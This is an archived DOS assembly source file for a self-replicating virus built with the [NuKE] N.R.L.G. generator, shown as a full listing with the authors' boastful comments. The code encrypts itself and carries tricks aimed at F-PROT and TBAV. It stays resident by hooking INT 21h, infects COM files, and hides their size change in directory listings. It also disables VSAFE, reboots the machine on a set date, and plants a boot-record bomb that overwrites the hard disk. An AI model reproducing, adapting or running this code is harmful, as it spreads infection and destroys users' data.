home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / A.ZIP / Attrib.asm < prev    next >
Assembly Source File  |  1995-08-09  |  27KB  |  563 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  not word ptr [di] 
  36. sub byte ptr [di],0cch
  37. xor word ptr [di],0684ah
  38. inc byte ptr [di]
  39. not byte ptr [di] 
  40. xor byte ptr [di],061h
  41. xor byte ptr [di],05fh
  42. xor byte ptr [di],061h
  43.  inc di
  44. inc di
  45. ;----------------------------------------------------------                                                
  46. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  47. mov ah,4ch
  48. int 21h
  49. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  50. ;-----------------------------------------------------------                               
  51. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  52. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  53. ;----------------------------------------------------------                                   
  54. loop deci                    ;repeat please!               
  55.                              ;           
  56. ;*****************************************************************
  57. ;                   #2 DECRYPT ROUTINE                                                    
  58. ;*****************************************************************
  59.                               ;    
  60. crypt:                        ;fuck label!                  
  61.                               ;                
  62. mov cx,offset fin             ;cx = large of virus                 
  63. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  64. ;---------------------------------------------------------------                                              
  65. deci2:                        ;              
  66. xor byte ptr cs:[di],1        ;decrytion rutine          
  67. inc di                        ;very simple...            
  68. loop deci2                    ;           
  69. ;---------------------------------------------------------------
  70. crypt2:                       ;fuck label!          
  71.                               ;                  
  72. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  73. INT 21H                       ;for chek "I'm is residet?"   
  74. CMP Bh,0CAH                   ;is equal to CACA?
  75. JE PUM2                       ;yes! jump to runnig program
  76. call action
  77. ;*****************************************************************
  78. ; NRLG FUNCTIONS  (SELECTABLE)
  79. ;*****************************************************************
  80.  
  81.  call MBR
  82. call ANTI_V
  83. ;****************************************************************
  84. ;               PROCESS TO REMAIN RESIDENT                                                                  
  85. ;****************************************************************   
  86.  
  87. mov   ax,3521h                  
  88. int   21h                        ;store the int 21 vectors 
  89. mov   word ptr [bp+int21],bx     ;in cs:int21
  90. mov   word ptr [bp+int21+2],es   ;
  91. ;---------------------------------------------------------------
  92. push cs                          ; 
  93. pop ax                           ;ax = my actual segment                             
  94. dec ax                           ;dec my segment for look my MCB
  95. mov es,ax                        ;
  96. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  97. ;---------------------------------------------------------------
  98. push cs                          ;   
  99. pop es                           ;   
  100. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  101. sub bx,17 + offset fin           ;and 100H for the PSP total
  102. mov ah,4ah                       ;used memory
  103. int 21h                          ;put the new value to MCB
  104. ;---------------------------------------------------------------
  105. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  106. mov ah,48h                      ;                              
  107. int 21h                         ;request the memory to fuck DOS!                                                 
  108. ;---------------------------------------------------------------
  109. dec ax                          ;ax=new segment 
  110. mov es,ax                       ;ax-1= new segment MCB 
  111. mov byte ptr es:[1],8           ;put '8' in the segment
  112. ;--------------------------------------------------------------                                
  113. inc ax                          ; 
  114. mov es,ax                       ;es = new segment
  115. lea si,[bp + offset start]      ;si = start of virus 
  116. mov di,100h                     ;di = 100H (psp position) 
  117. mov cx,offset fin - start       ;cx = lag of virus
  118. push cs                         ;
  119. pop ds                          ;ds = cs
  120. cld                             ;mov the code
  121. rep movsb                       ;ds:si >> es:di
  122. ;--------------------------------------------------------------
  123. mov dx,offset virus             ;dx = new int21 handler
  124. mov ax,2521h                    ;
  125. push es                         ; 
  126. pop ds                          ; 
  127. int 21h                         ;set the vectors 
  128. ;-------------------------------------------------------------
  129. pum2:                               ;  
  130.                                     ; 
  131. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  132. mov byte ptr cs:[100h],ah           ;first bytes  
  133. mov ax,word ptr [cs:bp + real + 1]  ;
  134. mov word ptr cs:[101h],ax           ;
  135. ;-------------------------------------------------------------
  136. mov ax,100h                         ;
  137. jmp ax                              ;jmp to execute
  138.                                     ;
  139. ;*****************************************************************
  140. ;*             HANDLER FOR THE INT 21H                                       
  141. ;*****************************************************************
  142.                           ;          
  143. VIRUS:                    ;  
  144.                           ;     
  145. cmp ah,4bh                ;is a 4b function? 
  146. je REPRODUCCION           ;yes! jump to reproduce !
  147. cmp ah,11h
  148. je dir
  149. cmp ah,12h
  150. je dir
  151. dirsal:
  152. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  153. jne a3                    ;no! jump to a3
  154. mov bh,0cah               ;yes! put ca in bh
  155. a3:                       ;
  156. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  157. ret                       ;    
  158. make db '[NuKE] N.R.L.G. AZRAEL'
  159. dir:
  160. jmp dir_s
  161. ;-------------------------------------------------------------
  162. REPRODUCCION:              ;       
  163.                            ;
  164. pushf                      ;put the register
  165. pusha                      ;in the stack
  166. push si                    ;
  167. push di                    ;
  168. push bp                    ;
  169. push es                    ;
  170. push ds                    ;
  171. ;-------------------------------------------------------------
  172. push cs                    ;  
  173. pop ds                     ;  
  174. mov ax,3524H               ;get the dos error control                      
  175. int 21h                    ;interupt                        
  176. mov word ptr error,es      ;and put in cs:error                      
  177. mov word ptr error+2,bx    ;            
  178. mov ax,2524H               ;change the dos error control                    
  179. mov dx,offset all          ;for my "trap mask"                      
  180. int 21h                    ;         
  181. ;-------------------------------------------------------------
  182. pop ds                     ;
  183. pop es                     ;restore the registers
  184. pop bp                     ;
  185. pop di                     ;
  186. pop si                     ;
  187. popa                       ;
  188. popf                       ;
  189. ;-------------------------------------------------------------
  190. pushf                      ;put the registers
  191. pusha                      ;     
  192. push si                    ;HEY! AZRAEL IS CRAZY?
  193. push di                    ;PUSH, POP, PUSH, POP
  194. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  195. push es                    ;PURIFY THIS SHIT!
  196. push ds                    ;
  197. ;-------------------------------------------------------------
  198. mov ax,4300h                 ;       
  199. int 21h                      ;get the file     
  200. mov word ptr cs:[attrib],cx  ;atributes   
  201. ;-------------------------------------------------------------
  202. mov ax,4301h                 ;le saco los atributos al        
  203. xor cx,cx                    ;file 
  204. int 21h                      ;
  205. ;-------------------------------------------------------------  
  206. mov ax,3d02h                 ;open the file 
  207. int 21h                      ;for read/write
  208. mov bx,ax                    ;bx=handle
  209. ;-------------------------------------------------------------
  210. mov ax,5700h                ;     
  211. int 21h                     ;get the file date  
  212. mov word ptr cs:[hora],cx   ;put the hour    
  213. mov word ptr cs:[dia],dx    ;put the day    
  214. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  215. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  216. jne seguir                  ;yes! the file is infected!     
  217. jmp cerrar                  ;
  218. ;------------------------------------------------------------
  219. seguir:                     ;     
  220. mov ax,4202h                ;move the pointer to end
  221. call movedor                ;of the file
  222. ;------------------------------------------------------------
  223. push cs                     ;   
  224. pop ds                      ; 
  225. sub ax,3                    ;calculate the 
  226. mov word ptr [cs:largo],ax  ;jmp long
  227. ;-------------------------------------------------------------
  228. mov ax,04200h               ;move the pointer to  
  229. call movedor                ;start of file
  230. ;----------------------------------------------------------                                          
  231. push cs                     ;   
  232. pop ds                      ;read the 3 first bytes  
  233. mov ah,3fh                  ;                           
  234. mov cx,3                    ;
  235. lea dx,[cs:real]            ;put the bytes in cs:[real]
  236. int 21h                     ;
  237. ;----------------------------------------------------------                                          
  238. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  239. jne er1                         ;yes! is a EXE... fuckkk!
  240. ;----------------------------------------------------------
  241. jmp cerrar
  242. er1:
  243. ;----------------------------------------------------------                                          
  244. mov ax,4200h      ;move the pointer                               
  245. call movedor      ;to start fo file
  246. ;----------------------------------------------------------                                          
  247. push cs           ;       
  248. pop ds            ; 
  249. mov ah,40h        ;  
  250. mov cx,1          ;write the JMP
  251. lea dx,[cs:jump]  ;instruccion in the
  252. int 21h           ;fist byte of the file
  253. ;----------------------------------------------------------                                          
  254. mov ah,40h         ;write the value of jmp
  255. mov cx,2           ;in the file 
  256. lea dx,[cs:largo]  ; 
  257. int 21h            ;
  258. ;----------------------------------------------------------                                          
  259. mov ax,04202h      ;move the pointer to 
  260. call movedor       ;end of file
  261. ;----------------------------------------------------------                                          
  262. push cs                     ;        
  263. pop ds                      ;move the code  
  264. push cs                     ;of my virus      
  265. pop es                      ;to cs:end+50     
  266. cld                         ;for encrypt          
  267. mov si,100h                 ;    
  268. mov di,offset fin + 50      ;      
  269. mov cx,offset fin - 100h    ;        
  270. rep movsb                   ;      
  271. ;----------------------------------------------------------                                          
  272. mov cx,offset fin           
  273. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  274. enc:                              ;           
  275. xor byte ptr cs:[di],1            ;encrypt the virus              
  276. inc di                            ;code                   
  277. loop enc                          ;              
  278. ;---------------------------------------------------------
  279. mov cx,offset fin           
  280. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  281. mov dx,1
  282. enc2:                              ;           
  283.  
  284.  xor byte ptr [di],061h
  285. xor byte ptr [di],05fh
  286. xor byte ptr [di],061h
  287. not byte ptr [di]
  288. dec byte ptr [di]
  289. xor word ptr [di],0684ah
  290. add byte ptr [di],0cch
  291. not word ptr [di]
  292.  inc di
  293. inc di                             ;the virus code                  
  294. loop enc2                          ;              
  295. ;--------------------------------------------
  296. mov ah,40h                       ;  
  297. mov cx,offset fin - offset start ;copy the virus              
  298. mov dx,offset fin + 50           ;to end of file
  299. int 21h                          ;
  300. ;----------------------------------------------------------                                          
  301. cerrar:                          ;
  302.                                  ;restore the       
  303. mov ax,5701h                     ;date and time    
  304. mov cx,word ptr cs:[hora]        ;file   
  305. mov dx,word ptr cs:[dia]         ;     
  306. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  307. int 21h                          ; 
  308. ;----------------------------------------------------------                                          
  309. mov ah,3eh                       ; 
  310. int 21h                          ;close the file
  311. ;----------------------------------------------------------                                          
  312. pop ds                           ;
  313. pop es                           ;restore the 
  314. pop bp                           ;registers
  315. pop di                           ; 
  316. pop si                           ;
  317. popa                             ;
  318. popf                             ;
  319. ;----------------------------------------------------------                                          
  320. pusha                           ;   
  321.                                 ;                                                             
  322. mov ax,4301h                    ;restores the atributes 
  323. mov cx,word ptr cs:[attrib]     ;of the file  
  324. int 21h                         ;   
  325.                                 ;
  326. popa                            ; 
  327. ;----------------------------------------------------------                                          
  328. pushf                           ;                           
  329. pusha                           ; 8-(  = f-prot                       
  330. push si                         ;                       
  331. push di                         ; 8-(  = tbav   
  332. push bp                         ;                       
  333. push es                         ; 8-)  = I'm                        
  334. push ds                         ;                              
  335. ;----------------------------------------------------------                                          
  336. mov ax,2524H                    ;                         
  337. lea bx,error                    ;restore the                         
  338. mov ds,bx                       ;errors handler      
  339. lea bx,error+2                  ;                         
  340. int 21h                         ;                       
  341. ;----------------------------------------------------------                                          
  342. pop ds                          ;
  343. pop es                          ;
  344. pop bp                          ;restore the 
  345. pop di                          ;resgisters
  346. pop si                          ;
  347. popa                            ;
  348. popf                            ;
  349. ;----------------------------------------------------------                                          
  350. JMP A3                          ;jmp to orig. INT 21
  351.                                 ;
  352. ;**********************************************************
  353. ;           SUBRUTINES AREA
  354. ;**********************************************************
  355.                                 ;
  356. movedor:                        ;   
  357.                                 ; 
  358. xor cx,cx                       ;use to move file pointer         
  359. xor dx,dx                       ;       
  360. int 21h                         ;        
  361. ret                             ;        
  362. ;----------------------------------------------------------                                          
  363. all:                            ;  
  364.                                 ; 
  365. XOR AL,AL                       ;use to set 
  366. iret                            ;error flag
  367.  
  368. ;***********************************************************
  369. ;         DATA AREA
  370. ;***********************************************************
  371. largo  dw  ?
  372. jump   db  0e9h
  373. real   db  0cdh,20h,0
  374. hora   dw  ?
  375. dia    dw  ?
  376. attrib dw  ?
  377. int21  dd  ?
  378. error  dd  ?
  379.  
  380.  ;---------------------------------
  381. action:                          ; 
  382. MOV AH,2AH                       ;        
  383. INT 21H                          ;get date           
  384. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  385. JE  cont                         ;nop! fuck ret          
  386. cmp  byte ptr cs:[action_dia+bp],32
  387. jne no_day                       ;
  388. cont:                            ; 
  389. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  390. je set                           ;
  391. cmp byte ptr cs:[action_mes+bp],32
  392. jne NO_DAY                       ;nop! fuck ret           
  393. set:                             ; 
  394.  
  395. int 19h                          ;rebbot the machine 
  396. NO_DAY:                          ;             
  397. ret                              ;
  398. ;---------------------------------
  399.  
  400.  MBR:
  401. ;**************************************
  402. ;    Start of MBR-BOMB writing
  403. ;**************************************
  404. mov ax,9f80h                ;very high memory                   
  405. mov es,ax                   ;good for buffer                
  406. mov ax,0201h                ;read the original         
  407. mov cx,0001h                ;MBR of the disk           
  408. mov dx,0080h                ;              
  409. xor bx,bx                   ;to buffer 9f80:0000h                       
  410. int 13h                     ;           
  411. push cs                     ; 
  412. pop ds                      ; 
  413. mov ax,9f80h                ;add my MBR-BOMB                                    
  414. mov es,ax                   ;to real MBR in my       
  415. mov si,offset fat           ;buffer              
  416. xor di,di                   ;                   
  417. mov cx,105                  ;ds:[fat]=>9f80:0000h
  418. repe movsb                  ;total 105bytes                   
  419. mov ax,9f80h                ;   
  420. mov es,ax                   ;   
  421. xor bx,bx                   ;replace the original    
  422. mov ax,0301h                ;MBR in the disk by the
  423. xor ch,ch                   ;new MBR-BOMB.  
  424. mov dx,0080h                ;
  425. mov cl,1                    ;WARNING! VSAFE/MSAVE 
  426. mov bx,0                    ;NOTIFY THIS ACTION 
  427. int 13h                     ; 
  428. ret                         ;
  429. ;---------------------------------------------------
  430. ;*********************      
  431. ; Start of MBR code          
  432. ;*********************        
  433. fat:                              ;       
  434. cli                               ;#       
  435. xor     ax,ax                     ;#     
  436. mov     ss,ax                     ;#       
  437. mov     sp,7C00h                  ;#        
  438. mov     si,sp                     ;#        
  439. push    ax                        ;#    
  440. pop     es                        ;# 
  441. push    ax                        ;# 
  442. pop     ds                        ;#     
  443. sti                               ;#
  444.                                   ;#   
  445. pushf                             ;#   
  446. push ax                           ;# 
  447. push cx                           ;# = This code be in the
  448. push dx                           ;#   original MBR
  449. push ds                           ;#   (NOT MODIFY)
  450. push es                           ;#   
  451. MOV AH,04H                        ; Read real tyme                       
  452. INT 1AH                           ; Clock          
  453. CMP DH,cs:byte ptr action_mes     ; is Month?     
  454. JE CAGO                           ; yes! SNIF SNIF HD. 
  455. lit:
  456. pop es
  457. pop ds
  458. pop dx  
  459. pop cx
  460. pop ax
  461. popf
  462. jmp booti
  463. CAGO:
  464. ;++++++++++++++++++++++++++++++++++++++++++++++++++++
  465. ; START OF YOUR DESTRUCTIVE CODE (or not destructive)
  466. ;++++++++++++++++++++++++++++++++++++++++++++++++++++
  467.  
  468. rip_hd:                            
  469.                               ;@                                  
  470.                 xor dx, dx    ;@                
  471. rip_hd1:                      ;@
  472.         mov cx, 2     ;@                 
  473.         mov ax, 311h  ;@    
  474.         mov dl, 80h   ;@             
  475.         mov bx, 5000h ;@       
  476.         mov es, bx    ;@ 
  477.         int 13h       ;@          
  478.         jae rip_hd2   ;@         
  479.         xor ah, ah    ;@       
  480.         int 13h       ;@       
  481.         rip_hd2:      ;@        
  482.         inc dh        ;@        
  483.         cmp dh, 4     ;@                
  484.         jb rip_hd1    ;@ 
  485.         inc ch        ;@        
  486.         jmp rip_hd            
  487.  
  488. ;+++++++++++++++++++++++++++++++++++++++++++
  489. ;       END OF YOUR DESTRUCUTIVE  CODE
  490. ;+++++++++++++++++++++++++++++++++++++++++++
  491. booti:
  492. xor ax,ax     ;#         
  493. mov es,ax     ;#       
  494. mov bx,7c00h  ;#             
  495. mov ah,02     ;#          
  496. mov al,1      ;#         
  497. mov cl,1      ;# #= This code be       
  498. mov ch,0      ;#    in the original        
  499. mov dh,1      ;#    MBR    
  500. mov dl,80h    ;#    (NOT MODIFY)   
  501.               ;#             
  502. int 13h       ;#                
  503.               ;#          
  504. db 0eah,00,7ch,00,00 ;#    
  505. ;*******************
  506. ; END OF MBR CODE
  507. ;*******************
  508.  
  509.  ;---------------------------------
  510. ANTI_V:                          ; 
  511. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  512. MOV DX,5945H                     ; 
  513. INT 21H                          ;           
  514. ret                              ;
  515. ;---------------------------------
  516.  
  517.  ;*****************************************************
  518. dir_s:                                                               
  519.              pushf                                                         
  520.              push    cs                                                    
  521.              call    a3                      ;Get file Stats                       
  522.              test    al,al                   ;Good FCB?                            
  523.              jnz     no_good                 ;nope                                 
  524.              push    ax                                                 
  525.              push    bx                                                    
  526.              push    es                                                    
  527.              mov     ah,51h                  ;Is this Undocmented? huh...          
  528.              int     21h                                                   
  529.              mov     es,bx                                                 
  530.              cmp     bx,es:[16h]                                           
  531.              jnz     not_infected                        
  532.              mov     bx,dx                                                 
  533.              mov     al,[bx]                                               
  534.              push    ax                                                    
  535.              mov     ah,2fh                   ;Get file DTA                         
  536.              int     21h                                                   
  537.              pop     ax                                                    
  538.              inc     al                                                    
  539.              jnz     fcb_okay                                              
  540.              add     bx,7h                                                 
  541. fcb_okay:    mov     ax,es:[bx+17h]                                   
  542.              and     ax,1fh                   ;UnMask Seconds Field                 
  543.              xor     al,byte ptr cs:fechad                                      
  544.              jnz     not_infected                                            
  545.              and     byte ptr es:[bx+17h],0e0h                            
  546.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  547.              sbb     es:[bx+1fh],ax                                        
  548. not_infected:pop     es                                                    
  549.              pop     bx                                                    
  550.              pop     ax                                                    
  551. no_good:     iret                                                          
  552. ;********************************************************************
  553. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  554. ;*********************************************************************
  555.  
  556.  action_dia Db 020H ;day for the action
  557. action_mes Db 0dH ;month for the action
  558. FECHA DW 01eH ;Secon for mark
  559. FECHAd Db 01eH ;Secon for mark dir st
  560. fin:
  561. code ends
  562. end start
  563.